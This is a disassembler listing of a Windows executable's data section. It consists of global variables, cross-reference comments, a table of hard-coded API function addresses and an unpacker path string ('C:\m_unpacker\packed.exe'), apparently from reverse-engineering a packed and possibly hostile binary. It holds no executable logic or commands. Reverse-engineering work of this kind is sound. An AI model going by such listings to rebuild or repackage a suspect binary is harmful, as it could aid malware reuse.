; sub_4087B3+48A8o ... byte_4370BC db 0 ; DATA XREF: sub_40232A+10o ; .text:0040517Eo ... align 10h dword_4370C0 dd 0 ; DATA XREF: sub_4035CD+18r ; sub_403B34+92w ... dword_4370C4 dd 0 ; DATA XREF: .text:00403F48r ; .text:0040426Dw ... dd 3E6h dup(0) dword_438060 dd 6 dup(0) ; DATA XREF: .text:00403FCAo ; .text:00404033o ... dword_438078 dd 0 ; DATA XREF: sub_403661+82w ; sub_403661+102o dword_43807C dd 41h dup(0) ; DATA XREF: sub_403661+41o dword_438180 dd 41h dup(0) ; DATA XREF: sub_403661+63o dword_438284 dd 0 ; DATA XREF: sub_403661+F8w ; sub_403661+114r dword_438288 dd 0 ; DATA XREF: sub_403661+52w dword_43828C dd 0 ; DATA XREF: sub_403661+4Dw ; sub_403661+CFr dword_438290 dd 20h dup(0) ; DATA XREF: sub_403661+9Ao ; sub_403661+BAo dword_438310 dd 0 ; DATA XREF: sub_403661+8Fw dword_438314 dd 0 ; DATA XREF: sub_403661+A7w ; sub_403661+C7w dword_438318 dd 0 ; DATA XREF: sub_403661:loc_40378Br align 10h dword_438320 dd 0 ; DATA XREF: sub_403661+2D5w ; sub_403661+32Eo dword_438324 dd 0A2h dup(0) ; DATA XREF: sub_403661+2C3o dword_4385AC dd 41h dup(0) ; DATA XREF: sub_403661+28Do dword_4386B0 dd 0 ; DATA XREF: sub_403661+2BAw ; sub_403661+2E1r align 8 dword_4386B8 dd 0 ; DATA XREF: sub_403661+324w ; sub_403661+340r dword_4386BC dd 0 ; DATA XREF: sub_403661+2E7w dword_4386C0 dd 0 ; DATA XREF: sub_403661+2F4w dword_4386C4 dd 0 ; DATA XREF: sub_403661+2B4w dd 0 dword_4386CC dd 0 ; DATA XREF: sub_403661:loc_4039B7r dword_4386D0 dd 0 ; DATA XREF: sub_403661+1A1w ; sub_403661+221o dword_4386D4 dd 41h dup(0) ; DATA XREF: sub_403661+163o dword_4387D8 dd 41h dup(0) ; DATA XREF: sub_403661+182o dword_4388DC dd 0 ; DATA XREF: sub_403661+217w ; sub_403661+233r dword_4388E0 dd 0 ; DATA XREF: sub_403661+171w dword_4388E4 dd 0 ; DATA XREF: sub_403661+1EEr dword_4388E8 dd 20h dup(0) ; DATA XREF: sub_403661+1B9o ; sub_403661+1D9o dword_438968 dd 0 ; DATA XREF: sub_403661+1AEw dword_43896C dd 0 ; DATA XREF: sub_403661+1C6w ; sub_403661+1E6w dword_438970 dd 0 ; DATA XREF: sub_403661:loc_4038ABr dd 13Eh dup(0) dword_438E6C dd 1000h dup(0) ; DATA XREF: sub_4045C0+1Do ; .text:004046D2o ... dword_43CE6C dd 335h dup(0) ; DATA XREF: sub_4045C0+13o ; .text:00404719o ... dword_43DB40 dd 11h dup(0) ; DATA XREF: sub_4053BF+Fo dword_43DB84 dd 3 dup(0) ; DATA XREF: .text:004058E7o dword_43DB90 dd 0 ; DATA XREF: sub_4062D3+2Aw ; sub_4062D3+51r ... dword_43DB94 dd 0 ; DATA XREF: sub_402413+45r ; sub_402B90+ACr ... align 10h dword_43DBA0 dd 0 ; DATA XREF: sub_40448A+Ao ; sub_40448A+44r ... dd 5 dup(0) dword_43DBB8 dd 0 ; DATA XREF: sub_40448A+60r ; sub_4087B3+8CEr dd 2D9h dup(0) dword_43E720 dd 0 ; DATA XREF: .text:00403FA0r ; sub_40448A+2Do ... dd 7Fh dup(0) dword_43E920 dd 0 ; DATA XREF: sub_414C1C+41w ; sub_414DA4+40w ... dword_43E924 dd 0 ; DATA XREF: .text:loc_403F42r ; .text:00403F77r ... dword_43E928 dd 0 ; DATA XREF: sub_413440+AEw ; sub_414C1C+52w ... dword_43E92C dd 0 ; DATA XREF: .text:0040582Br ; .text:004064ADw ... dword_43E930 dd 0 ; DATA XREF: .text:00412005w ; .text:0041219Ar ... dword_43E934 dd 0 ; DATA XREF: sub_403661+122w ; sub_403661+242w ... byte_43E938 db 0 ; DATA XREF: sub_40841B+91o ; sub_4087B3+242Ar ... align 4 dd 1B85h dup(0) dword_445750 dd 7666h dup(0) ; DATA XREF: .data:off_42BED0o db 0 byte_4630E9 db 3 dup(0) ; DATA XREF: .text:off_4011EAo dd 80F1h dup(0) dword_4834B0 dd 1Bh ; DATA XREF: sub_4034D1:loc_40353Fr ; sub_407BA3+3Dw ... align 8 dword_4834B8 dd 0 ; DATA XREF: sub_407BA3:loc_40817Co dword_4834BC dd 20h dup(0) ; DATA XREF: sub_407BA3+572o ; sub_407BA3+62Ao ... dword_48353C dd 10h dup(0) ; DATA XREF: sub_407BA3+588o dword_48357C dd 24h dup(0) ; DATA XREF: sub_407BA3+59Fo dword_48360C dd 0 ; DATA XREF: sub_407BA3+593w ; sub_407BA3+641w ... dword_483610 dd 0 ; DATA XREF: sub_407BA3+5B2w align 10h dword_483620 dd 0 ; DATA XREF: sub_40841B+72r ; sub_4087B3+276r align 8 byte_483628 db 0 ; DATA XREF: sub_4085DD+28r ; sub_4085DD+30o align 4 byte_48362C db 0 ; DATA XREF: sub_407BA3:loc_408206r ; sub_407BA3+671o align 10h dword_483630 dd 0 ; DATA XREF: sub_407BA3+5DEw ; sub_407BA3+5F5r ... dword_483634 dd 0 ; DATA XREF: sub_407BA3+577w ; sub_4087B3+841r dd 1Eh dup(0) dword_4836B0 dd 0 ; DATA XREF: sub_414EF3+16o ; sub_414F19+19o dword_4836B4 dd 2A4Dh dup(0) ; DATA XREF: sub_414E93+3Do db 0 byte_48DFE9 db 3 dup(0) ; DATA XREF: .text:off_40126Co dd 0D4Eh dup(0) dword_491524 dd 77C72C6Bh ; DATA XREF: sub_40E59D+489w ; sub_40E59D+4CDr dword_491528 dd 77EBA994h ; DATA XREF: sub_40E59D+65w ; sub_411876+166r dword_49152C dd 7622A3F4h ; DATA XREF: sub_40E59D+7EDw ; sub_40E59D+862r ... dword_491530 dd 71C45229h ; DATA XREF: sub_40E59D+9BAw ; sub_40E59D+A18r ... dword_491534 dd 71C24870h ; DATA XREF: sub_40E59D+96Cw ; sub_40E59D+9E8r ... dword_491538 dd 77C71BB0h ; DATA XREF: sub_40E59D+46Fw ; sub_40E59D+4BDr dword_49153C dd 77D4808Bh ; DATA XREF: sub_40E59D+213w ; sub_40E59D+234r dword_491540 dd 71C4502Ch ; DATA XREF: sub_40E59D+9ADw ; sub_40E59D+A10r ... dword_491544 dd 77DE801Bh ; DATA XREF: sub_40E59D+354w ; sub_40E59D+3A9r ... dword_491548 dd 77DDACABh ; DATA XREF: sub_40E59D+3F1w ; sub_414190+11Er dword_49154C dd 77DE8075h ; DATA XREF: sub_40E59D+361w ; sub_40E59D+3B1r ... dword_491550 dd 77DD7496h ; DATA XREF: sub_40E59D+3A2w ; sub_410895+ADr dword_491554 dd 71AB1B7Bh ; DATA XREF: .text:00406544r ; sub_40E59D+53Cw dword_491558 dd 77E686CCh ; DATA XREF: sub_4054B8+1Br ; sub_40E59D+72w ... dword_49155C dd 71C2498Bh ; DATA XREF: sub_40E59D+95Fw ; sub_40E59D+9DBr ... dword_491560 dd 77DDAB2Fh ; DATA XREF: sub_40E59D+388w ; sub_40E59D+3C9r ... dword_491564 dd 7620E8C3h ; DATA XREF: sub_40E59D+83Bw ; sub_40E59D+88Er ... dword_491568 dd 77DD23D7h ; DATA XREF: sub_40E59D+2A5w ; sub_40E59D+2D6r dword_49156C dd 76214750h ; DATA XREF: .text:00404D87r ; sub_40E59D+82Ew ... dword_491570 dd 77E6D75Bh ; DATA XREF: sub_40E59D+B3w dword_491574 dd 7620BD61h ; DATA XREF: .text:00404E56r ; sub_40E59D+848w ... dword_491578 dd 71AB60C9h ; DATA XREF: sub_40E59D+52Fw ; sub_40E59D+6B2r ... dword_49157C dd 77EBA6E9h ; DATA XREF: sub_40E59D+58w ; sub_40E59D+CAr ... dword_491580 dd 76D62A58h ; DATA XREF: sub_40E59D+916w dword_491584 dd 76F36EAAh ; DATA XREF: sub_4087B3:loc_40C782r ; sub_40E59D+A66w ... dword_491588 dd 77E802FCh ; DATA XREF: sub_40E59D+A6w ; sub_40E59D+F2r dword_49158C dd 77C75455h ; DATA XREF: sub_40E59D+462w ; sub_40E59D+4B5r dword_491590 dd 71AB12A7h ; DATA XREF: sub_403ADA+20r ; sub_40E59D+5D8w ... dword_491594 dd 71C574FAh ; DATA XREF: sub_40E59D+9A0w ; sub_40E59D+A08r dword_491598 dd 71AB1746h ; DATA XREF: sub_40E59D+5CBw ; sub_40E59D+736r dword_49159C dd 71B28D0Dh ; DATA XREF: sub_40E59D+B21w dword_4915A0 dd 762211EFh ; DATA XREF: sub_407BA3+5C8r ; sub_40E59D+7E0w ... dword_4915A4 dd 77D902E3h ; DATA XREF: sub_40E59D+1B3w ; sub_40FF37+15r dword_4915A8 dd 71C2FA86h ; DATA XREF: sub_40E59D+979w ; sub_40E59D+9F0r ... dword_4915AC dd 77DE1291h ; DATA XREF: sub_40E59D+36Ew ; sub_40E59D+3B9r ... dword_4915B0 dd 77E2C1B3h ; DATA XREF: sub_40E59D+37Bw ; sub_40E59D+3C1r ... dword_4915B4 dd 73B81E3Bh ; DATA XREF: sub_40E59D+C56w ; sub_40E59D+C5Dr dword_4915B8 dd 71ABF628h ; DATA XREF: sub_40E59D+68Ew dword_4915BC dd 71AB1836h ; DATA XREF: .text:004051B9r ; .text:0040583Cr ... dword_4915C0 dd 77C72889h ; DATA XREF: sub_40E59D+496w dword_4915C4 dd 71C453F8h ; DATA XREF: sub_40E59D+9C7w ; sub_40E59D+A20r ... dword_4915C8 dd 77DD5C55h ; DATA XREF: sub_404954+51r ; sub_40E59D+2B2w ... dword_4915CC dd 77E96645h ; DATA XREF: sub_405779+25r ; sub_405779+39r ... dword_4915D0 dd 77428B97h ; DATA XREF: .text:00405089r ; sub_4087B3+2052r ... dword_4915D4 dd 71AB41DAh ; DATA XREF: .text:0040783Cr ; sub_407BA3+8Cr ... dword_4915D8 dd 762059A3h ; DATA XREF: sub_40E59D+807w ; sub_40E59D+872r ... dword_4915DC dd 71C4A1B4h ; DATA XREF: sub_40E59D+986w ; sub_40E59D+9F8r dword_4915E0 dd 1F7CD214h ; DATA XREF: sub_40E59D+BDFw ; sub_40E59D+C10r dword_4915E4 dd 77D4456Bh ; DATA XREF: sub_40E59D+22Dw dword_4915E8 dd 76D629BBh ; DATA XREF: sub_40E59D+8FCw ; sub_40E59D+910r dword_4915EC dd 1F7B9D96h ; DATA XREF: sub_40E59D+BF9w dword_4915F0 dd 71AB1740h ; DATA XREF: .text:00403DD7r ; .text:loc_40681Ar ... dword_4915F4 dd 7620AFB6h ; DATA XREF: sub_40E59D+821w ; sub_40E59D+855r dword_4915F8 dd 77D5C13Ah ; DATA XREF: sub_40E59D+220w ; sub_40E59D+23Cr dword_4915FC dd 77D45B19h ; DATA XREF: sub_40E59D+172w ; sub_40E59D+1C2r dword_491600 dd 71AB157Eh ; DATA XREF: sub_4087B3+224Dr ; sub_4087B3+3AB4r ... dword_491604 dd 71AB3E5Dh ; DATA XREF: sub_402413+FCr ; sub_402B90+5Er ... dword_491608 dd 71AB14DCh ; DATA XREF: sub_40E59D+549w ; sub_40E59D+6BEr dword_49160C dd 0CC0004h ; DATA XREF: .text:00404D81r ; sub_40E59D+8BDw ... dword_491610 dd 77DD590Bh ; DATA XREF: sub_404954+26r ; sub_40E59D+28Bw ... dword_491614 dd 71ABD755h ; DATA XREF: sub_4087B3+3689r ; sub_40E59D+681w ... dword_491618 dd 77DF7311h ; DATA XREF: sub_40E59D+30Fw ; sub_40E59D+323r ... dword_49161C dd 77DDA2AFh ; DATA XREF: sub_40E59D+395w ; sub_40E59D+3D1r ... dword_491620 dd 1F7CD927h ; DATA XREF: sub_40E59D+BD2w ; sub_40E59D+C08r dword_491624 dd 76206853h ; DATA XREF: sub_40E59D+7FAw ; sub_40E59D+86Ar ... dword_491628 dd 77D4932Ch ; DATA XREF: sub_40E59D+206w ; sub_40E59D+227r dword_49162C dd 77D5E310h ; DATA XREF: sub_40E59D+18Cw ; sub_40E59D+1D2r ... dword_491630 dd 76206B7Fh ; DATA XREF: sub_40E59D+814w ; sub_40E59D+87Ar ... dword_491634 dd 71AB1444h ; DATA XREF: .text:00403E37r ; sub_40E59D+606w ... dword_491638 dd 77DD189Ah ; DATA XREF: sub_404954+5Ar ; sub_40E59D+2BFw ... dword_49163C dd 71AB3F8Dh ; DATA XREF: sub_40E59D+64Dw ; sub_40E59D+77Er ... dword_491640 dd 77DD5D20h ; DATA XREF: sub_40E59D+302w ; sub_40E59D+316r ... dword_491644 dd 71AB1890h ; DATA XREF: sub_403BF7+82r ; .text:00406528r ... dword_491648 dd 77C76B34h ; DATA XREF: sub_40E59D+42Ew ; sub_40E59D+490r dword_49164C dd 77D5E38Ch ; DATA XREF: sub_40E59D+199w ; sub_40E59D+1DAr ... dword_491650 dd 77DDA20Bh ; DATA XREF: sub_40E59D+347w ; sub_40E59D+39Cr ... dword_491654 dd 76F36EEBh ; DATA XREF: sub_40E59D+A73w dword_491658 dd 71AB12A7h ; DATA XREF: sub_401EF5+7r ; sub_403ADA+2Br ... dword_49165C dd 71AB1746h ; DATA XREF: sub_402413+DEr ; sub_402B90+37r ... dword_491660 dd 77EBA595h ; DATA XREF: sub_40E59D+4Bw ; sub_40E59D+C2r ... dword_491664 dd 77C7531Dh ; DATA XREF: sub_40E59D+455w ; sub_40E59D+4ADr dword_491668 dd 77D4BDCAh ; DATA XREF: sub_40E59D+165w ; sub_40E59D+1BAr ... dword_49166C dd 71C3516Ah ; DATA XREF: sub_40E59D+9E1w ; sub_4113B6+72r dword_491670 dd 71AB32CAh ; DATA XREF: sub_40E59D+667w ; sub_40E59D+78Er dword_491674 dd 71AB5690h ; DATA XREF: sub_401E57+75r ; sub_402B90+7Br ... dword_491678 dd 1F7CB8F8h ; DATA XREF: sub_40E59D+BECw ; sub_40E59D+C18r dword_49167C dd 77EBB1E7h ; DATA XREF: sub_40E59D+3Ew ; sub_40E59D+BAr ... dword_491680 dd 77DD59F0h ; DATA XREF: sub_404954+45r ; sub_40E59D+298w ... dword_491684 dd 71AB5DE2h ; DATA XREF: .text:004064CDr ; .text:00407A02r ... dword_491688 dd 71AB3ECEh ; DATA XREF: .text:004064B8r ; .text:004079F0r ... dword_49168C dd 73B81B0Fh ; DATA XREF: sub_40E59D+C63w dword_491690 dd 76204E4Dh ; DATA XREF: .text:00405229r ; sub_40E59D+85Bw ... dword_491694 dd 0 ; DATA XREF: sub_40E59D+112w dword_491698 dd 1F7D886Ah ; DATA XREF: sub_40E59D+BB8w ; sub_40E59D+BF3r dword_49169C dd 71AB12F8h ; DATA XREF: sub_402413+ECr ; sub_402B90+27r ... dword_4916A0 dd 77C76551h ; DATA XREF: sub_40E59D+43Bw ; sub_40E59D+49Dr dword_4916A4 dd 77C729E2h ; DATA XREF: sub_40E59D+47Cw ; sub_40E59D+4C5r dword_4916A8 dd 77C7212Fh ; DATA XREF: sub_40E59D+448w ; sub_40E59D+4A5r dword_4916AC dd 71AB1AF4h ; DATA XREF: sub_401EF5+1Br ; sub_401EF5+35r ... dword_4916B0 dd 77D5E303h ; DATA XREF: sub_40E59D+1A6w ; sub_40E59D+1E2r ... dword_4916B4 dd 71C4576Ch ; DATA XREF: sub_40E59D+9D4w ; sub_40E59D+A28r ... dword_4916B8 dd 77D4702Fh ; DATA XREF: sub_40E59D+158w ; sub_40E59D+1ADr ... dword_4916BC dd 77E6C0E3h ; DATA XREF: sub_40545D+4r ; sub_40E59D+8Cw ... dword_4916C0 dd 71AB1ED3h ; DATA XREF: .text:00403DC9r ; sub_40E59D+5F2w ... dword_4916C4 dd 71B2A381h ; DATA XREF: sub_40E59D+B14w ; sub_40E59D+B30r dword_4916C8 dd 77DDA595h ; DATA XREF: sub_40E59D+31Cw ; sub_4117F1+55r dword_4916CC dd 77DD22EAh ; DATA XREF: sub_40E59D+27Ew ; sub_40E59D+2B9r ... dword_4916D0 dd 773F97B0h ; DATA XREF: sub_40E59D+B7Bw dword_4916D4 dd 76D67A29h ; DATA XREF: sub_40E59D+ABDw ; sub_4115A6+CEr dword_4916D8 dd 76D674FAh ; DATA XREF: sub_40E59D+AB0w ; sub_40E59D+AB7r ... dword_4916DC dd 71AB3C22h ; DATA XREF: sub_402B90+46r ; .text:004032DDr ... dword_4916E0 dd 71AB2BBFh ; DATA XREF: sub_4087B3+1E1Cr ; sub_4087B3+36B0r ... dword_4916E4 dd 1F7BA3A9h ; DATA XREF: sub_40E59D+BC5w ; sub_40E59D+C00r dword_4916E8 dd 71AB401Ch ; DATA XREF: sub_4035CD+1Fr ; .text:00403F81r ... dword_4916EC dd 71C214BAh ; DATA XREF: sub_40E59D+993w ; sub_40E59D+A00r ... dword_4916F0 dd 71AB868Dh ; DATA XREF: .text:00406569r ; .text:00407A22r ... dword_4916F4 dd 71AB1A6Dh ; DATA XREF: sub_402413+18Dr ; sub_402B90+152r ... dword_4916F8 dd 71AB155Ah ; DATA XREF: sub_403BF7+4Cr ; .text:004064E6r ... dword_4916FC dd 71B22C25h ; DATA XREF: sub_40E59D+B07w ; sub_40E59D+B28r dword_491700 dd 71AB5A01h ; DATA XREF: sub_40E59D+522w ; sub_40E59D+6A6r ... dword_491704 dd 71B2ACCBh ; DATA XREF: sub_40E59D+AFAw ; sub_40E59D+B1Br dword_491708 dd 77E78C17h ; DATA XREF: sub_407BA3+52r ; sub_40E59D+31w ... dword_49170C dd 77D49A11h ; DATA XREF: sub_40E59D+17Fw ; sub_40E59D+1CAr dd 0 dword_491714 dd 76D62A37h ; DATA XREF: sub_40E59D+909w ; sub_40E59D+91Dr dword_491718 dd 77E6CBF9h ; DATA XREF: sub_40E59D+99w ; sub_40E59D+EAr ... dword_49171C dd 0 ; DATA XREF: sub_40E59D:loc_40E69Bw ; sub_40E59D+12Bw ... dword_491720 dd 0 ; DATA XREF: sub_40E59D+126w ; sub_40F54D+1Cr dword_491724 dd 0 ; DATA XREF: sub_40E59D:loc_40E78Bw ; sub_40E59D:loc_40E7F2w ... dword_491728 dd 0 ; DATA XREF: sub_40E59D+250w ; sub_40F54D+50r dword_49172C dd 0 ; DATA XREF: sub_407BA3+349r ; sub_4087B3+16C3r ... dword_491730 dd 0 ; DATA XREF: sub_40E59D+400w ; sub_40F54D+84r dword_491734 dd 0 ; DATA XREF: sub_40E59D:loc_40EA83w ; sub_40F54D:loc_40F5FDr dword_491738 dd 0 ; DATA XREF: sub_40E59D+4E1w ; sub_40F54D+B8r dword_49173C dd 0 ; DATA XREF: sub_40E59D:loc_40ED54w ; sub_40F54D:loc_40F631r dword_491740 dd 0 ; DATA XREF: sub_40E59D+7B2w ; sub_40F54D+ECr dword_491744 dd 0 ; DATA XREF: sub_407BA3:loc_40815Er ; sub_40E59D:loc_40EE3Fw ... dword_491748 dd 0 ; DATA XREF: sub_40E59D+8CCw ; sub_40F54D+120r dword_49174C dd 0 ; DATA XREF: sub_40E59D:loc_40EED3w ; sub_40F54D:loc_40F699r dword_491750 dd 0 ; DATA XREF: sub_40E59D+931w ; sub_40F54D+154r dword_491754 dd 0 ; DATA XREF: sub_4087B3+16CBr ; sub_40E59D:loc_40EFDEw ... dword_491758 dd 0 ; DATA XREF: sub_40E59D+A3Cw ; sub_40F54D+188r dword_49175C dd 0 ; DATA XREF: sub_40E59D:loc_40F028w ; sub_40F54D:loc_40F701r dword_491760 dd 0 ; DATA XREF: sub_40E59D+A86w ; sub_40F54D+1BCr dword_491764 dd 0 ; DATA XREF: sub_40E59D:loc_40F072w ; sub_40F54D:loc_40F735r dword_491768 dd 0 ; DATA XREF: sub_40E59D+AD0w ; sub_40F54D+1F0r dword_49176C dd 0 ; DATA XREF: sub_40E59D:loc_40F0E6w ; sub_40F54D:loc_40F769r dword_491770 dd 0 ; DATA XREF: sub_40E59D+B44w ; sub_40F54D+224r dword_491774 dd 0 ; DATA XREF: sub_40E59D:loc_40F130w ; sub_40F54D:loc_40F79Dr dword_491778 dd 0 ; DATA XREF: sub_40E59D+B8Ew ; sub_40F54D+258r dword_49177C dd 0 ; DATA XREF: sub_40E59D:loc_40F1CEw ; sub_40F54D:loc_40F7D1r dword_491780 dd 0 ; DATA XREF: sub_40E59D+C2Cw ; sub_40F54D+28Cr dword_491784 dd 0 ; DATA XREF: sub_40E59D:loc_40F218w ; sub_40F54D:loc_40F805r dword_491788 dd 0 ; DATA XREF: sub_40E59D+C76w ; sub_40F54D+2C0r dd 1Fh dup(0) dword_491808 dd 9Bh dup(0) ; DATA XREF: sub_40FC36+6Ao dword_491A74 dd 17h dup(0) ; DATA XREF: sub_4102BD:loc_4103DAo ; sub_4102BD+131o ... dword_491AD0 dd 80h dup(0) ; DATA XREF: sub_4113B6+7Co ; sub_4113B6+A5o dword_491CD0 dd 0 ; DATA XREF: sub_410714+45w ; sub_410714+4Dr ... dword_491CD4 dd 17h dup(0) ; DATA XREF: sub_411235:loc_411357o ; sub_411235+12Do dword_491D30 dd 80h dup(0) ; DATA XREF: sub_410626+4Bo ; sub_410626+7Do ... byte_491F30 db 0 ; DATA XREF: sub_410714+29r ; sub_410714+34w align 4 dword_491F34 dd 80h dup(0) ; DATA XREF: sub_4109FE+61o ; sub_4109FE+88o ... dword_492134 dd 0F1h dup(0) ; DATA XREF: sub_41014B+33o ; sub_41014B+50o ... dword_4924F8 dd 6 dup(0) ; DATA XREF: sub_4116BB+32o dword_492510 dd 9Bh dup(0) ; DATA XREF: sub_4126D1+8Do byte_49277C db 0 ; DATA XREF: sub_413993+6Ar ; sub_413993+98w align 10h dd 2 dup(0) dword_492788 dd 11h dup(0) ; DATA XREF: sub_413F6C+47o dword_4927CC dd 0 ; DATA XREF: .text:00415EBEr ; .text:00415EC3w dword_4927D0 dd 0 ; DATA XREF: sub_415E6A+Aw align 8 dword_4927D8 dd 0 ; DATA XREF: sub_4174F2+5Er ; sub_4174F2+A4w align 10h word_4927E0 dw 0 ; DATA XREF: sub_4174F2+55r ; sub_4174F2+9Ao word_4927E2 dw 0 ; DATA XREF: sub_4174F2+48r db 2 dup(0) word_4927E6 dw 0 ; DATA XREF: sub_4174F2+3Br word_4927E8 dw 0 ; DATA XREF: sub_4174F2+2Er word_4927EA dw 0 ; DATA XREF: sub_4174F2+21r align 10h dword_4927F0 dd 0 ; DATA XREF: sub_4176C0+3Br ; sub_4176C0+91w dword_4927F4 dd 0 ; DATA XREF: sub_417025+2Bw ; sub_4172D3+1B9w ... dword_4927F8 dd 0 ; DATA XREF: sub_417025+35w ; sub_41BE46:loc_41BEE0w ... dword_4927FC dd 0 ; DATA XREF: sub_41EEE4+13Ar dword_492800 dd 0A28h ; DATA XREF: sub_417ED0+52w dword_492804 dd 501h ; DATA XREF: sub_417ED0+49w dword_492808 dd 5 ; DATA XREF: sub_417ED0+3Ew dword_49280C dd 1 ; DATA XREF: sub_417ED0+30w dword_492810 dd 1 ; DATA XREF: sub_407BA3:loc_407E98r ; sub_41D2FF+91w dword_492814 dd 950B00h ; DATA XREF: sub_407BA3+2FEr ; sub_407BA3+31Er ... dd 0 dword_49281C dd 950A80h ; DATA XREF: sub_41D246+44w ; sub_4206A5+9r ... dword_492820 dd 0 ; DATA XREF: sub_420D89+36r dword_492824 dd 0 ; DATA XREF: sub_4206A5+16r ; sub_420A73+4r ... dd 0 off_49282C dd offset aCM_unpackerPac ; DATA XREF: sub_41D2FF+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_492834 db 0 ; DATA XREF: sub_41784D+2Dw ; sub_41E68D+5r align 4 dword_492838 dd 0 ; DATA XREF: sub_41784D+27w dword_49283C dd 0 ; DATA XREF: sub_41784D+4r ; sub_41784D+8Bw dword_492840 dd 0 ; DATA XREF: sub_417ED0+84w ; sub_41D246:loc_41D258r ... align 8 dword_492848 dd 0 ; DATA XREF: sub_417FC6r sub_417FEBr ... dword_49284C dd 0 ; DATA XREF: sub_415CF8r ; sub_416ED2:loc_416FCEr ... dword_492850 dd 0 ; DATA XREF: .text:004181DEr ; .text:004181E3w ... dword_492854 dd 0 ; DATA XREF: sub_419D98+11r ; sub_419E9C+1Ar ... byte_492858 db 0 ; DATA XREF: sub_419D98+3r ; sub_419D98+98r ... align 4 dword_49285C dd 0 ; DATA XREF: sub_419E9C+11r ; sub_419F7A+21w ... byte_492860 db 0 ; DATA XREF: sub_419F7A+51w align 4 dword_492864 dd 0 ; DATA XREF: sub_41A170+4Er ; sub_41A54B+3Ar ... dword_492868 dd 0 ; DATA XREF: sub_41A170+5Cr ; sub_41A54B+43r ... dword_49286C dd 0 ; DATA XREF: sub_416123+7Ar ; sub_41A317+5r dword_492870 dd 0 ; DATA XREF: sub_41A91C+29r dword_492874 dd 1 ; DATA XREF: sub_41C6E5:loc_41C860r ; sub_41C87E+4w ... dword_492878 dd 0 ; DATA XREF: sub_41CB5F+37r align 10h dword_492880 dd 1 ; DATA XREF: sub_41CC29+28r ; sub_41CC29+4Cw ... dd 2 dup(0) dword_49288C dd 0 ; DATA XREF: sub_417C24+4r ; sub_417C24+9Dr ... dd 3 dup(0) dword_49289C dd 0 ; DATA XREF: sub_417D0C+61r ; sub_417D0C+BFr ... dd 0 dword_4928A4 dd 0 ; DATA XREF: sub_41D06A+3Ar ; sub_41D06A+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D2FF:loc_41D316o ; .data:off_49282Co align 4 dd 3Ah dup(0) dword_4929AC dd 1 ; DATA XREF: sub_41D54C+2r ; sub_41D54C+23w ... dword_4929B0 dd 0 ; DATA XREF: sub_41D92C+21r dword_4929B4 dd 77C26E79h ; DATA XREF: sub_41DAE9:loc_41DB0Cr ; sub_41DAE9+38r ... word_4929B8 dw 0 ; DATA XREF: sub_41E247+1Ao ; sub_41E247+46r byte_4929BA db 0 ; DATA XREF: sub_41E247+39r align 4 dword_4929BC dd 7 dup(0) ; DATA XREF: sub_41E247+52o dword_4929D8 dd 0 ; DATA XREF: sub_41E247+40w ; sub_41E247+5Co dword_4929DC dd 0 ; DATA XREF: sub_41E247+4Dw dword_4929E0 dd 0 ; DATA XREF: sub_41E247+31w dword_4929E4 dd 0 ; DATA XREF: sub_41E247+52w dword_4929E8 dd 0 ; DATA XREF: sub_41C300+154w ; sub_41CB5F:loc_41CB88w ... dword_4929EC dd 1 ; DATA XREF: sub_41EACD+26r ; sub_41EACD:loc_41EB37w dword_4929F0 dd 0 ; DATA XREF: sub_41C300+7r align 8 dword_4929F8 dd 0 ; DATA XREF: sub_41F1B2+11w ; sub_41F1B2+63w ... align 10h dword_492A00 dd 0 ; DATA XREF: sub_41F1B2+33o ; sub_41F1B2+46r dword_492A04 dd 10h dup(0) ; DATA XREF: sub_41F1B2+C1o word_492A44 dw 0 ; DATA XREF: sub_41F410+A8r word_492A46 dw 0 ; DATA XREF: sub_41F1B2+54r ; sub_41F410+DBr ... word_492A48 dw 0 ; DATA XREF: sub_41F410+CAr word_492A4A dw 0 ; DATA XREF: sub_41F410+D3r ; sub_41F410:loc_41F502r word_492A4C dw 0 ; DATA XREF: sub_41F410+C0r word_492A4E dw 0 ; DATA XREF: sub_41F410+B8r word_492A50 dw 0 ; DATA XREF: sub_41F410+B0r word_492A52 dw 0 ; DATA XREF: sub_41F410+9Er dword_492A54 dd 0 ; DATA XREF: sub_41F1B2+4Br dword_492A58 dd 10h dup(0) ; DATA XREF: sub_41F1B2+FBo word_492A98 dw 0 ; DATA XREF: sub_41F410+46r word_492A9A dw 0 ; DATA XREF: sub_41F1B2:loc_41F229r ; sub_41F410+78r ... word_492A9C dw 0 ; DATA XREF: sub_41F410+67r word_492A9E dw 0 ; DATA XREF: sub_41F410+70r ; sub_41F410:loc_41F494r word_492AA0 dw 0 ; DATA XREF: sub_41F410+5Dr word_492AA2 dw 0 ; DATA XREF: sub_41F410+55r word_492AA4 dw 0 ; DATA XREF: sub_41F410+4Dr word_492AA6 dw 0 ; DATA XREF: sub_41F410+3Er dword_492AA8 dd 0 ; DATA XREF: sub_41F1B2+80r dword_492AAC dd 0 ; DATA XREF: sub_41F1B2+132r ; sub_41F1B2:loc_41F2FEr ... dword_492AB0 dd 0 ; DATA XREF: sub_41F19Dr sub_41F19D+Ew dword_492AB4 dd 0 ; DATA XREF: sub_41F80A+3r ; sub_41F80A+2Ew ... dword_492AB8 dd 0 ; DATA XREF: sub_41F80A+43w ; sub_41F80A:loc_41F859r dword_492ABC dd 0 ; DATA XREF: sub_41F80A+4Aw ; sub_41F80A+60r dword_492AC0 dd 0 ; DATA XREF: .text:loc_4202CBr ; .text:004202D1w ... dword_492AC4 dd 0 ; DATA XREF: .text:loc_4202AFr ; .text:004202B5w ... dword_492AC8 dd 0 ; DATA XREF: .text:00420285r ; .text:0042028Bw ... dword_492ACC dd 0 ; DATA XREF: .text:loc_4202BDr ; .text:004202C3w ... dword_492AD0 dd 0 ; DATA XREF: .text:loc_420254r ; .text:0042026Fw dword_492AD4 dd 0 ; DATA XREF: sub_41EEE4+3Fr dword_492AD8 dd 0 ; DATA XREF: sub_420AE1+28r ; sub_420AE1+48w ... byte_492ADC db 1 ; DATA XREF: sub_402B66r sub_402B66+9w ... align 10h dd 0 db 0 byte_492AE5 db 1 ; DATA XREF: sub_415887+15r ; sub_415887+1Ew align 10h dword_492AF0 dd 944968h ; DATA XREF: sub_41BFC4:loc_41BFD5r ; sub_41C470+14r ... dd 0D3h dup(0) dword_492E40 dd 400h dup(0) ; DATA XREF: .data:off_436200o ; .data:00436208o dword_493E40 dd 200h ; DATA XREF: sub_41BFC4+9r ; sub_41BFC4+56r ... dd 7 dup(0) dword_493E60 dd 950EF0h ; DATA XREF: sub_41A9D8+B1r ; sub_41C031+75r ... dword_493E64 dd 3Fh dup(0) ; DATA 